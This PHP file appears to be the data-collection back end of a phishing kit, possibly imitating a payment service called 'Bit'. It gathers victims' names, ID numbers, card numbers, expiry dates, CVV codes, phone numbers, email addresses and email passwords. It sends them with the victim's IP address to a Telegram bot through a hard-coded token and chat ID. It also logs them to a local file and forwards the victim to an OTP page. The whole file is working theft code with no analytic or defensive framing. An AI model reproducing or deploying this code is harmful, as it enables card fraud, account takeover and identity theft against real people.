<?php
require_once "function.php";
ini_set("output_buffering", 4096);
session_start();
ob_start();

include 'Email.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['username'] = $_POST['username'] ?? '';
    $ip = getenv("REMOTE_ADDR");

    // جمع البيانات
    $message = "Bit Results:\n";
    $message .= "First Name: " . ($_POST['first'] ?? 'N/A') . "\n";
    $message .= "Last Name: " . ($_POST['last'] ?? 'N/A') . "\n";
    $message .= "ID: " . ($_POST['id'] ?? 'N/A') . "\n";
    $message .= "Card Number: " . ($_POST['card_number'] ?? 'N/A') . "\n";
    $message .= "Month: " . ($_POST['date'] ?? 'N/A') . "\n";
    $message .= "Year: " . ($_POST['datee'] ?? 'N/A') . "\n";
    $message .= "CVV: " . ($_POST['cvv'] ?? 'N/A') . "\n";
    $message .= "Phone Number: " . ($_POST['phone'] ?? 'N/A') . "\n";
    $message .= "Email Address: " . ($_POST['email'] ?? 'N/A') . "\n";
    $message .= "Email Password: " . ($_POST['pass'] ?? 'N/A') . "\n";
    $message .= "IP Address: $ip\n";

    $token = "5812352919:AAGtQ_JFGA9padfKL_8vWPAjlTT_SIWt18Y";
    $chat_id = "5606862820";
    $url = "https://api.telegram.org/bot$token/sendMessage";

    $data = [
        'chat_id' => $chat_id,
        'text' => $message
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    if ($response === false) {
        echo "Error: " . curl_error($ch);
    } else {
        echo "Message sent successfully.";
    }

    curl_close($ch);

    $logFile = "log.txt";
    file_put_contents($logFile, $message . "\n", FILE_APPEND);

    session_destroy();

    header("Location: otp.php");
    exit();
} else {
    echo "Invalid request method.";
}
